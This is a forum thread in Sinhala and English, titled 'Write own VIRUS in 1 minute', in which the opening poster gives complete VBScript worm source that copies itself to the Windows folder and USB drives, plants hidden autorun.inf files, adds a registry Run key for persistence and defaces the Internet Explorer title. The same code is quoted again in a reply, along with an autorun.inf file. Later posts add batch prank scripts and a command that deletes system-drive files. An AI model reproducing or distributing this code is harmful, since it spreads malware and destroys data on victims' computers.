Write own VIRUS in 1 miniute !!!!!!!!

[dilshancjdon]

umbala virus ekek hadanna onida ????????

programming dana ganna oni naa

menna codes

NOTE PAD eke gahapan



'My name is D Dragon
'This virus is dedicated to every enimy of mine
'REST IN PEASE
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,che ck,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by D Dragon"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname






meeke reg write kiyala tiyena tana mage issella tiba Tread eke ( Top 25 Registry hacks ) oni ekak gahapan !!!!!!!!!!!




etakota mulu PC ekema control eka umbala ate !!!!!!!!!!









meeka save karana kota


MS32DLL.dll.vbs

kiyala Save karapan !!!!!!!!!!!!!!!




Enjoy






---------------another greate hack by Dragon Dilshan-----------------------

[Kalindugayan]

:P:P:P
save kalata passe moko wenne?

[dilshancjdon]

Double click and run

Then DIE !!!!!!!!!!!

( baya wenna epa wadi deyak wenne naa , koykatat wenin ekekge PC ekeka check karanna )

[Kalindugayan]

Double click and run

Then DIE !!!!!!!!!!!

( baya wenna epa wadi deyak wenne naa , koykatat wenin ekekge PC ekeka check karanna )
:P
mata ehenan oyage PC eka denna
mama test karannam

[lasith_hasantha]

Vena ekekge ekaka karala oo apita gahanna elewwoth mokada koranne?

[jeffhardy]

THANKS

[lasith_hasantha]

:P
mata ehenan oyage PC eka denna
mama test karannam

:lol::lol::lol::lol:

[kosandpol]

dude! have you lost your mind ?

[dilshancjdon]

ya..........

my hobby is programming and developing Viruses !!!!

Do you want more ?????????????

[Jack_Sparrow]

umbala virus ekek hadanna onida ????????

programming dana ganna oni naa

menna codes

NOTE PAD eke gahapan



'My name is D Dragon
'This virus is dedicated to every enimy of mine
'REST IN PEASE
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,che ck,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by D Dragon"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

etakota mulu PC ekema control eka umbala ate !!!!!!!!!!


---------------another greate hack by Dragon Dilshan-----------------------


oa ohenda gatte

[ozone_buzzer]

Meka hohetada save karanna one & meken monavada karanna puluvan..??

[dilshancjdon]

ooni tanaka save karanna.

Auto run ekek daala CD ekakata daannna !!!!!

menna USB pen drive ekakata Auto run eke codes

[autorun]
open=MS32DLL.dll.vbs
;shell\open=Open(&O)
shell\open\Command=MS32DLL.dll.vbs
shell\open\Default=1
;shell\explore=Manager(&X)
shell\explore\Command=MS32DLL.dll.vbs

meeka "autorun.inf" kiyala save karanna

meeken wadi deyak wenne naa !!!!!!!

Hidden files unable eke disable wey,
hama PEN drive ekatama copy wey,
IE eke nama wenas wey

tawa podi podi tikak wey....

okkoma kiwwot wadak naaa!!!!!!!!!!!!!!

CHECK karala balanna !!!!!!!!!!!

********Kaspersky lokkat ekka nam baa!!!!!!!!!!

[rjzone2000]

Guti kana wedane mu karanne..hah..hah...!!!

[Kalindugayan]

ya..........

my hobby is programming and developing Viruses !!!!

Do you want more ?????????????
natuwata kamak ne:P

[rjzone2000]

Yako ...Muwa thiyanna watinne nene...

[rjzone2000]

Den Oka monama Virus guard ekakin wath track wenne nedda...???

[kalhara.rokz]

apo save karapu gaman virus guard eken allanawa........

[dxxcxxxx]

Interesting staff......:yes: :yes:

But, i hope nobody will try with their friends....:rolleyes: :rolleyes:

[lakmalunit]

ya..........

my hobby is programming and developing Viruses !!!!

Do you want more ?????????????


umbe munen penawa virus porak kiyala:lol: :lol: :lol: :lol:

[prasannaf]

tiyana ewa madi welada wawagena kanna hadanne

[kosandpol]

umbe munen penawa virus porak kiyala:lol: :lol: :lol: :lol:

Owned! :D :D

[krizta]

:lol: :lol: Thnx :lol:
avter eke inne uba da? :lol: :P

[tharinda76]

Niyamai Ne Ban !! kawa hari baya karanna puluwan !!

[dilshancjdon]

ow mama tama !!!!!!!!

[northtech]

ya..........

my hobby is programming and developing Viruses !!!!

Do you want more ?????????????

ho no keep it with you only.
we don't need any kind of troubles !!!! :lol: :lol: :lol: :lol:

[sherlock]

ammmo guti kana wedane

[kanishkaprr]

dont waste the time.....
fully updated kaspersky internet security 2009 doesnt even let it save it as .vbs !!!

[Atekukula]

Menna fack Virous....Code

x = MsgBox("text here",0+16 ,"title here")
x = MsgBox("text here",0+16 ,"title here")
x = MsgBox("text here",0+16 ,"title here")
x = MsgBox("text here",0+16 ,"title here")
x = MsgBox("text here",0+16 ,"title here")
x = MsgBox("text here",0+16 ,"title here")
x = MsgBox("text here",0+16 ,"title here")
x = MsgBox("text here",0+16 ,"title here")
x = MsgBox("text here",0+16 ,"title here")
x = MsgBox("text here",0+16 ,"title here")
x = MsgBox("text here",0+16 ,"title here")
x = MsgBox("text here",0+16 ,"title here")
x = MsgBox("text here",0+16 ,"title here")
x = MsgBox("text here",0+16 ,"title here")


Save as vbs

[Atekukula]

fack Virous

@echo off
:A
start dir
start explorer
start notepad
goto:A

Save as name.bat

[Atekukula]

fack Virous

start
start
start
start
start
start
start
start


Save As Name.bat

[Atekukula]

fack Virous

New-Shortcut

Code
shutdown -s -t 3 -c "you have a virus in your computer!"

[Atekukula]

Denger virus

code
del %systemdrive%\*.* /s /f /q

Save as bat

this virus will be deleting your sestem file

[Atekukula]

Tawa oneda

[4keven4]

haha...
mei virus eke umbema thaniyama develope karapu ekakda?
nathnam kage hari wena ekekge ekakda?

[kalhara.rokz]

ela machan

[nasri123]

:shocked: Apitanang epooooo... Machan virus hadala.. umbalage fun ekata.. anith ayata aparadayak keranna hithanna epa.. honda S/w develop kerapan... my wishes...

[ni_shi2005]

ammov meya apitama wede deyda danne!! :P

[madurax86]

mewa hodai vb script ganai windows walata ena podi pahe virus ganai nodana unta
im sure this is not ur code bro why are u editing other peoples work? make sumthing of ur own, to deactivate ur so called virus what people only have to do is disable autorun and goto attrib and delete the *.vbs file before opening the pen ...hehe ocharai

[nimaz]

elaaa

[spk1234]

Maru Wade Machan mama kamathiy ebawa aduraganna
matath virus tikak hadaganna oni

[spk1234]

Reshacker Download karala dala balapan

[gtkisaru]

registry hack ekak :lol: :lol: :lol:

[booleanB]

i think this is spam

[BLACKLIST_MEMBER]

hapo jarawak neda? ara autorun.inf jarawak math dakka virussource eke thiyenawa oya wage worm scripts, source codes set ekak. nathara karanna baha eka eka podi podi wenas kara kara aith hada hada ewanawa...

machan umba langa nadda IMv1rus wala source?

[tharuksha123]

hapo jarawak neda? ara autorun.inf jarawak math dakka virussource eke thiyenawa oya wage worm scripts, source codes set ekak. nathara karanna baha eka eka podi podi wenas kara kara aith hada hada ewanawa...

machan umba langa nadda IMv1rus wala source?
muu kiwwa kiyanne hari thama :P